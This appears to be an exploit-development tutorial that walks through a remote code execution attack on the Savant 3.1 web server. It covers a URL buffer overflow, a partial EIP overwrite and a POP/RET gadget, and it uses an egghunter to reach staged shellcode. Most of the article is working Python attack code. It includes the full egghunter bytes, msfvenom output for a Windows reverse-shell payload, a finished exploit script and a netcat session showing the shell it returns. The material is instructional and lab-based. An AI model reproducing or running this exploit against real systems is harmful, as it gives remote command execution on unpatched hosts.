Introduction

The Savant 3.1 is a HTTP server that enables us to host a website. The URL buffer in savant 3.1 accepts more data than it can hold which leads to buffer overflow. However, to exploit the Savant 3.1 application we need to use the egghunter technique as the URL buffer is too small to hold our shellcode.

In this article I’ll go through developing remote code execution exploit for the Savant 3.1 application using the egghunter technique. If you don’t know what the egghunter technique is I recommend reading through What is Egghunter?.

Preperation

  1. Setup a Windows 10 virtual machine.

  2. Install the Savant 3.1 application on the virtual machine.

  3. Disable Microsoft Defender as it can interfere with exploit development process.

  4. Disable Windows Firewall so we can access the HTTP application running at port 80.

Partial Controlling EIP

Instead of manually sending multiple of requests to overflow the application I would instead recommend building a Fuzzer which automatically increments the payload and sends the requests. Here’s a overview of a Fuzzer I built for Savant 3.1 application.

exploit.py
#!/bin/python3
import requests
 
def main():
    try: 
        server = "192.168.221.148"
        port = 80
 
        for i in range(1, 1000):
            inputBuffer = b"A" * (1 * i)
            print("Sending {0} bytes of data".format(len(inputBuffer)))
            req = requests.get("http://{0}:{1}/{2}".format(server, port, inputBuffer))
            print("Done")
 
    except requests.ConnectionError:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

The crash occurred after sending 250 bytes of data which means to control the EIP register we will need to send anywhere from 250 bytes to 260 bytes. I manually sent multiple of requests and found that the exact offset that allows us to control the EIP register is 253 bytes.

exploit.py
#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.148"
        port = 80
 
        # HTTP Header
        httpMethod = b"GET /"
        httpRequestEnd = b"\r\n\r\n"
 
        # Malicious buffer
        inputBuffer = b"A" * 253
        inputBuffer += b"B" * 4
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(inputBuffer)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

The EIP register is overwritten with 0x42424242 which means we have a full control over the EIP register. Unfortunately, in our situation the only library without any security mechanism such as ASLR, DEP, CFG, and SafeSEH is Savant.

Luckily for us the Savant 3.1 application automatically adds a NULL byte (0x00) at the very end of the URL buffer. That allows us to perform a partial overwrite on the EIP register instead of performing a full overwrite.

exploit.py
#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.148"
        port = 80
 
        # HTTP Header
        httpMethod = b"GET /"
        httpRequestEnd = b"\r\n\r\n"
 
        # Malicious buffer
        inputBuffer = b"A" * 253
        inputBuffer += b"B" * 3
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(inputBuffer)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

The EIP register has the address 0x00424242 which means that we can instead perform a partial overwrite on the EIP register and use instructions inside of the Savant application.

Finding POP, RET32

The Savant 3.1 application stores the URL buffer address inside of the stack. Here’s a overview of the addresses inside of the stack.

A jump instruction (JMP ESP) will lead to access violation in this scenario therefore we will instead need to perform the instructions POP, RET to jump into the URL buffer. The msf-nasm_shell will allow us to obtain the hexcode for the instruction POP, RET and from there we can search for these instructions in Savant application.

exploit.py
kali@kali:~$ msf-nasm_shell 
nasm > pop eax
00000000  58                pop eax
nasm > ret
00000000  C3                ret

You can use any of the addresses that were found by WinDbg. I’ll be using the address 0x00418674 to perform the instructions POP, RET. Now all that is left now is to overwrite the EIP register with the address 0x00418674.

exploit.py
#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.148"
        port = 80
 
        # HTTP Header
        httpMethod = b"GET /"
        httpRequestEnd = b"\r\n\r\n"
 
        # Malicious buffer
        inputBuffer = b"A" * 253                # Padding
        inputBuffer += b"\x74\x86\x41"          # Controlling EIP (0x00418674)
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(inputBuffer)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

The EIP register now executes the instructions POP, RET which allows us to jump into the URL buffer. We are currently inside of the string GET / and we will need to craft the following instructions to jump over to the string /AAAA.... which we control.

Kali Linux: msf-nasn_shell
nasm > xor eax, eax
00000000  31C0              xor eax,eax
nasm > test eax, eax
00000000  85C0              test eax,eax
nasm > je 0x17
00000000  0F8411000000      jz near 0x17
exploit.py
#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.151"
        port = 80
 
        # HTTP Header
        httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /" # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
        httpRequestEnd = b"\r\n\r\n"
 
        # Malicious buffer
        inputBuffer = b"A" * 253                                               # Padding
        inputBuffer += b"\x74\x86\x41"                                   # Controlling EIP (0x00418674)
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(payload)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

All the operations that the exploit.py will perform now is it will jump over the NULL bytes and directly into the buffer which has strings AAAA... as these are characters that we control.

The exploit.py will now successfully perform instructions such as POP, RET and overwrite the GET / string with instructions that jumps directly into AAAA... characters that we control. The characters AAAA... will be replaced with the egghunter in the upcomming sections.

Find Bad Characters

The bad characters are the characters that the application filters out and using these characters will lead to our shellcode being corrupted. In the Savant 3.1 application we can find all these bad characters by sending 20-30 bytes of characters at the time.

exploit.py
#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.151"
        port = 80
 
        # Bad characters
        badchars = (
            "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
            "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
            "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
            # "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
            # "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
            # "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
            # "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
            # "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
            # "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
            # "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
            # "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
            # "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
            # "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
            # "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
            # "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
            # "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
        )
 
        # HTTP Header
        httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /"    # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
        httpRequestEnd = b"\r\n\r\n"
 
        # Malicious buffer
        inputBuffer = b"A" * (253 - len(badchars))              # Padding
        inputBuffer += badchars                                 # Bad characters
        inputBuffer += b"\x74\x86\x41"                          # Controlling EIP (0x00418674)
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(payload)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

An example the 0x0A is a bad character because it prevents the rest of the characters from entering the URL buffer. I repeated the process multiple of times and found that the following characters \x00\x0a\x0d\x25 where bad characters. I removed all the bad characters from badchars and it succesfully overflowed the application which means we found all the bad characters.

exploit.py
#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.151"
        port = 80
 
        # Bad characters = \x00\x0a\x0d\x25
        badchars = (
            b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
            b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
            b"\x21\x22\x23\x24\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
            b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
            b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
            b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
            b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
            b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
            b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
            b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
            b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
            b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
            b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
            b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
            b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
            b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
        )
 
        # HTTP Header
        httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /"    # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
        httpRequestEnd = b"\r\n\r\n"
 
        # Malicious buffer
        inputBuffer  = badchars
        inputBuffer += b"A" * (253 - len(badchars))             # Padding
        inputBuffer += b"\x74\x86\x41"                          # Controlling EIP (0x00418674)
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(payload)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

The Savant 3.1 application successfully buffer overflowed which means all the bad characters where found otherwise a access violation error would be thrown at us. The bad characters for Savant 3.1 application was the following characters \x00\x0a\x0d\x25.

Crafting Egghunter

I’ll be using the egghunter technique using the NtAccessCheckAndAuditAlarm function to crawl through the different memory regions because the function handles the access violation for us. The egghunter will continue executing to the egg string (w00tw00t) is found inside the memory.

In order to use the NtAccessCheckAndAduitAlarm function we will need to find its syscall number through the following steps in Windbg.

The syscall number is 1C9h in my environment but it could be different in your environment. The 0x1C9 will contain NULL bytes so we will need to substract it with 0x0 to convert the syscall number to a negative number.

The negative value of the syscall number is 0xfffffe37 and we can use that inside of our egghunter assembly code since it will convert it to positive number. The egghunter shellcode was built using the Keystone Engine using x86 assembly code.

egghunter.py
from keystone import *
 
CODE = (
    "                                "
    "   loop_inc_page:               "
    "       or dx, 0x0fff           ;"
    "   loop_inc_one:                "
    "       inc edx                 ;"
    "   loop_check:                  "
    "       push edx                ;"
    "       mov eax, 0xfffffe37     ;"
    "       neg eax                 ;"
    "       int 0x2Eh                ;"
    "       cmp al, 05              ;"
    "       pop edx                 ;"
    "   loop_check_valid:            "
    "       je loop_inc_page        ;"
    "   is_egg:                      "
    "       mov eax, 0x74303077     ;"
    "       mov edi, edx            ;"
    "       scasd                   ;"
    "       jnz loop_inc_one        ;"
    "       scasd                   ;"
    "       jnz loop_inc_one        ;"
    "   matched:                     "
    "       jmp edi                 ;"
)
 
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
 
for dec in encoding:
    egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")
 
print("Egghunter = (\"" + egghunter + "\")")
Running egghunter.py
kali@kali:~$ python asm.py      
Egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\xb8\x37\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"

The egghunter assembly code will conver the value 0xfffffe37 to 0x1C9 using the instruction NEG EAX. Once the syscall number is a positive value the NtAccessCheckAndAuditAlarm function is called to crawl through the different memory locations to find the egg string (w00tw00t).

We can now copy the shellcode generated for us by the Keystone Engine and include that inside of our URL buffer to search for the egg string (w00tw00t).

exploit.py
#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.154"
        port = 80
 
        # HTTP Header
        httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /"    # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
        httpRequestEnd = b"\r\n\r\n"                            # Newline HTTP Request
 
        # Egghunter
        egghunter = (
            b"\x90\x90\x90\x90\x90\x90\x90\x90"
            b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
            b"\x37\xfe\xff\xff\xf7\xd8\xcd\x2e"
            b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30" 
            b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
            b"\x75\xe3\xff\xe7"
        )
 
        # Shellcode
        shellcode = b"w00tw00t" + b"D" * (400)
 
        # Malicious buffer
        inputBuffer  = egghunter                                # Egghunter
        inputBuffer += b"A" * (253 - len(inputBuffer))          # Padding
        inputBuffer += b"\x74\x86\x41"                          # Controlling EIP (0x00418674)
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(payload)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()

The egghunter technique has now been successfully implemented to the exploit.py script which means the only thing that is left is adding the reverse shell shellcode.

Generating shellcode

The reverse shell shellocde can be generated using msfvenom and that will allow us to generate a shellcode without any bad characters. You will need to add the bad characters inside of the -b parameters otherwise the shellcode will be corrupted.

Kali Linux: msfvenom
kali@kali:~$ msfvenom -a x86 -p windows/shell_reverse_tcp lhost=eth0 lport=1337 -f python -b "\x00\x0a\x0d\x25" -v payload EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1899 bytes
payload =  b""
payload += b"\xdd\xc5\xba\xc0\x06\x16\xeb\xd9\x74\x24\xf4"
payload += b"\x5e\x31\xc9\xb1\x52\x83\xee\xfc\x31\x56\x13"
payload += b"\x03\x96\x15\xf4\x1e\xea\xf2\x7a\xe0\x12\x03"
payload += b"\x1b\x68\xf7\x32\x1b\x0e\x7c\x64\xab\x44\xd0"
payload += b"\x89\x40\x08\xc0\x1a\x24\x85\xe7\xab\x83\xf3"
payload += b"\xc6\x2c\xbf\xc0\x49\xaf\xc2\x14\xa9\x8e\x0c"
payload += b"\x69\xa8\xd7\x71\x80\xf8\x80\xfe\x37\xec\xa5"
payload += b"\x4b\x84\x87\xf6\x5a\x8c\x74\x4e\x5c\xbd\x2b"
payload += b"\xc4\x07\x1d\xca\x09\x3c\x14\xd4\x4e\x79\xee"
payload += b"\x6f\xa4\xf5\xf1\xb9\xf4\xf6\x5e\x84\x38\x05"
payload += b"\x9e\xc1\xff\xf6\xd5\x3b\xfc\x8b\xed\xf8\x7e"
payload += b"\x50\x7b\x1a\xd8\x13\xdb\xc6\xd8\xf0\xba\x8d"
payload += b"\xd7\xbd\xc9\xc9\xfb\x40\x1d\x62\x07\xc8\xa0"
payload += b"\xa4\x81\x8a\x86\x60\xc9\x49\xa6\x31\xb7\x3c"
payload += b"\xd7\x21\x18\xe0\x7d\x2a\xb5\xf5\x0f\x71\xd2"
payload += b"\x3a\x22\x89\x22\x55\x35\xfa\x10\xfa\xed\x94"
payload += b"\x18\x73\x28\x63\x5e\xae\x8c\xfb\xa1\x51\xed"
payload += b"\xd2\x65\x05\xbd\x4c\x4f\x26\x56\x8c\x70\xf3"
payload += b"\xf9\xdc\xde\xac\xb9\x8c\x9e\x1c\x52\xc6\x10"
payload += b"\x42\x42\xe9\xfa\xeb\xe9\x10\x6d\xd4\x46\xc7"
payload += b"\xeb\xbc\x94\xf7\xf6\x05\x10\x11\x92\x65\x74"
payload += b"\x8a\x0b\x1f\xdd\x40\xad\xe0\xcb\x2d\xed\x6b"
payload += b"\xf8\xd2\xa0\x9b\x75\xc0\x55\x6c\xc0\xba\xf0"
payload += b"\x73\xfe\xd2\x9f\xe6\x65\x22\xe9\x1a\x32\x75"
payload += b"\xbe\xed\x4b\x13\x52\x57\xe2\x01\xaf\x01\xcd"
payload += b"\x81\x74\xf2\xd0\x08\xf8\x4e\xf7\x1a\xc4\x4f"
payload += b"\xb3\x4e\x98\x19\x6d\x38\x5e\xf0\xdf\x92\x08"
payload += b"\xaf\x89\x72\xcc\x83\x09\x04\xd1\xc9\xff\xe8"
payload += b"\x60\xa4\xb9\x17\x4c\x20\x4e\x60\xb0\xd0\xb1"
payload += b"\xbb\x70\xf0\x53\x69\x8d\x99\xcd\xf8\x2c\xc4"
payload += b"\xed\xd7\x73\xf1\x6d\xdd\x0b\x06\x6d\x94\x0e"
payload += b"\x42\x29\x45\x63\xdb\xdc\x69\xd0\xdc\xf4"

Copy the shellcode and perform the final touch by adding the shellcode inside of the exploit.py file and from there execute the exploit.py file and a reverse shell should return to the Kali Linux netcat listener.

#!/bin/python3
import socket
def main():
    try: 
        server = "192.168.221.154"
        port = 80
 
        # Shellcode
        payload =  b""
        payload += b"\xdd\xc5\xba\xc0\x06\x16\xeb\xd9\x74\x24\xf4"
        payload += b"\x5e\x31\xc9\xb1\x52\x83\xee\xfc\x31\x56\x13"
        payload += b"\x03\x96\x15\xf4\x1e\xea\xf2\x7a\xe0\x12\x03"
        payload += b"\x1b\x68\xf7\x32\x1b\x0e\x7c\x64\xab\x44\xd0"
        payload += b"\x89\x40\x08\xc0\x1a\x24\x85\xe7\xab\x83\xf3"
        payload += b"\xc6\x2c\xbf\xc0\x49\xaf\xc2\x14\xa9\x8e\x0c"
        payload += b"\x69\xa8\xd7\x71\x80\xf8\x80\xfe\x37\xec\xa5"
        payload += b"\x4b\x84\x87\xf6\x5a\x8c\x74\x4e\x5c\xbd\x2b"
        payload += b"\xc4\x07\x1d\xca\x09\x3c\x14\xd4\x4e\x79\xee"
        payload += b"\x6f\xa4\xf5\xf1\xb9\xf4\xf6\x5e\x84\x38\x05"
        payload += b"\x9e\xc1\xff\xf6\xd5\x3b\xfc\x8b\xed\xf8\x7e"
        payload += b"\x50\x7b\x1a\xd8\x13\xdb\xc6\xd8\xf0\xba\x8d"
        payload += b"\xd7\xbd\xc9\xc9\xfb\x40\x1d\x62\x07\xc8\xa0"
        payload += b"\xa4\x81\x8a\x86\x60\xc9\x49\xa6\x31\xb7\x3c"
        payload += b"\xd7\x21\x18\xe0\x7d\x2a\xb5\xf5\x0f\x71\xd2"
        payload += b"\x3a\x22\x89\x22\x55\x35\xfa\x10\xfa\xed\x94"
        payload += b"\x18\x73\x28\x63\x5e\xae\x8c\xfb\xa1\x51\xed"
        payload += b"\xd2\x65\x05\xbd\x4c\x4f\x26\x56\x8c\x70\xf3"
        payload += b"\xf9\xdc\xde\xac\xb9\x8c\x9e\x1c\x52\xc6\x10"
        payload += b"\x42\x42\xe9\xfa\xeb\xe9\x10\x6d\xd4\x46\xc7"
        payload += b"\xeb\xbc\x94\xf7\xf6\x05\x10\x11\x92\x65\x74"
        payload += b"\x8a\x0b\x1f\xdd\x40\xad\xe0\xcb\x2d\xed\x6b"
        payload += b"\xf8\xd2\xa0\x9b\x75\xc0\x55\x6c\xc0\xba\xf0"
        payload += b"\x73\xfe\xd2\x9f\xe6\x65\x22\xe9\x1a\x32\x75"
        payload += b"\xbe\xed\x4b\x13\x52\x57\xe2\x01\xaf\x01\xcd"
        payload += b"\x81\x74\xf2\xd0\x08\xf8\x4e\xf7\x1a\xc4\x4f"
        payload += b"\xb3\x4e\x98\x19\x6d\x38\x5e\xf0\xdf\x92\x08"
        payload += b"\xaf\x89\x72\xcc\x83\x09\x04\xd1\xc9\xff\xe8"
        payload += b"\x60\xa4\xb9\x17\x4c\x20\x4e\x60\xb0\xd0\xb1"
        payload += b"\xbb\x70\xf0\x53\x69\x8d\x99\xcd\xf8\x2c\xc4"
        payload += b"\xed\xd7\x73\xf1\x6d\xdd\x0b\x06\x6d\x94\x0e"
        payload += b"\x42\x29\x45\x63\xdb\xdc\x69\xd0\xdc\xf4"
 
        # HTTP Header
        httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /"    # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
        httpRequestEnd = b"\r\n\r\n"                            # Newline HTTP Request
 
        # Egghunter
        egghunter = (
            b"\x90\x90\x90\x90\x90\x90\x90\x90"
            b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
            b"\x37\xfe\xff\xff\xf7\xd8\xcd\x2e"
            b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30" 
            b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
            b"\x75\xe3\xff\xe7"
        )
 
        # Shellcode
        shellcode = b"w00tw00t" + payload + b"D" * (400 - len(payload))
 
        # Malicious buffer
        inputBuffer  = egghunter                                # Egghunter
        inputBuffer += b"A" * (253 - len(inputBuffer))          # Padding
        inputBuffer += b"\x74\x86\x41"                          # Controlling EIP (0x00418674)
 
        # Crafting payload
        payload = httpMethod + inputBuffer + httpRequestEnd + shellcode
 
        # Sending payload
        print("Sending {0} bytes of data".format(len(payload)))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(payload)
        s.close()
        print("Done")
 
    except socket.error:
        print("Could not connect!")
 
if __name__ == "__main__":
    main()
Kali Linux: netcat listener
kali@kali:~$ rlwrap nc -lnvp 1337                                                                                                         
listening on [any] 1337 ...
connect to [192.168.221.134] from (UNKNOWN) [192.168.221.154] 53319
Microsoft Windows [Version 10.0.19045.6466]
(c) Microsoft Corporation. All rights reserved.
 
C:\Savant>whoami
whoami
desktop-ev71grl\student
 
C:\Savant>hostname
hostname
DESKTOP-EV71GRL

We successfully managed to craft an exploit for the Savant 3.1 application which uses the egghunter technique to crawl through the memory to find the reverse shell shellcode and then return a shell to our Kali Linux machine.

Conclusion

The egghunter technique can be difficult concept to grasp in the beginning but the more hands on experience you get with it the easier it becomes. The only thing that is important to remember about the egghunter technique is that it’s used for crawling through the memory to find the egg string (w00tw00t).

If you’re interested in the technical details about the egghunter technique I would recommend reading ther following article What is Egghunter In Exploit Development?. Hopefully this article gave you some clarity over what egghunter techique is in exploit development!